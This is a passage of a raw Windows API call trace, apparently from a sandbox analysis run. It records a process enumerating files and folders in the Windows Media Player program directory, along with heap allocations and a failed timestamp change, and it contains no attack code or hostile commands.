ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0089.619] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="")) returned 1 [0089.619] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0089.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.620] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="")) returned 1 [0089.620] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb1ba90, ftCreationTime.dwHighDateTime=0x1d55fb0, ftLastAccessTime.dwLowDateTime=0x174bd520, ftLastAccessTime.dwHighDateTime=0x1d551d4, ftLastWriteTime.dwLowDateTime=0x174bd520, ftLastWriteTime.dwHighDateTime=0x1d551d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="recognize labels.exe", cAlternateFileName="")) returned 1 [0089.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.622] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0089.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.623] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0089.623] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="")) returned 1 [0089.623] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0089.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.625] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0b33d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f0b33d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0089.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb66c42a7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0089.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.628] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b8907f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x42b8907f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19c3730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0089.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.629] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdc01da, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4fdc01da, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7a92dc30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0089.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.631] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0089.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.632] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749e95b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5749e95b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0089.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.633] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c0b4b2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x59c0b4b2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0089.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.635] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4041c528, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4041c528, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb1a36320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0089.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.636] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53bc9d99, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53bc9d99, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7ad31980, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0089.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.638] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0089.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.639] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0089.639] GetLastError () returned 0x12 [0089.639] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.639] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.639] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.639] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US" (normalized: "c:\\program files (x86)\\windows media player\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US" (normalized: "c:\\program files (x86)\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.640] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.640] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.641] NtClose (Handle=0x180) returned 0x0 [0089.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.642] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.642] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.642] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0089.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1d28 [0089.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef920 [0089.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.644] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0089.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1d48 [0089.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313e28 [0089.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.646] 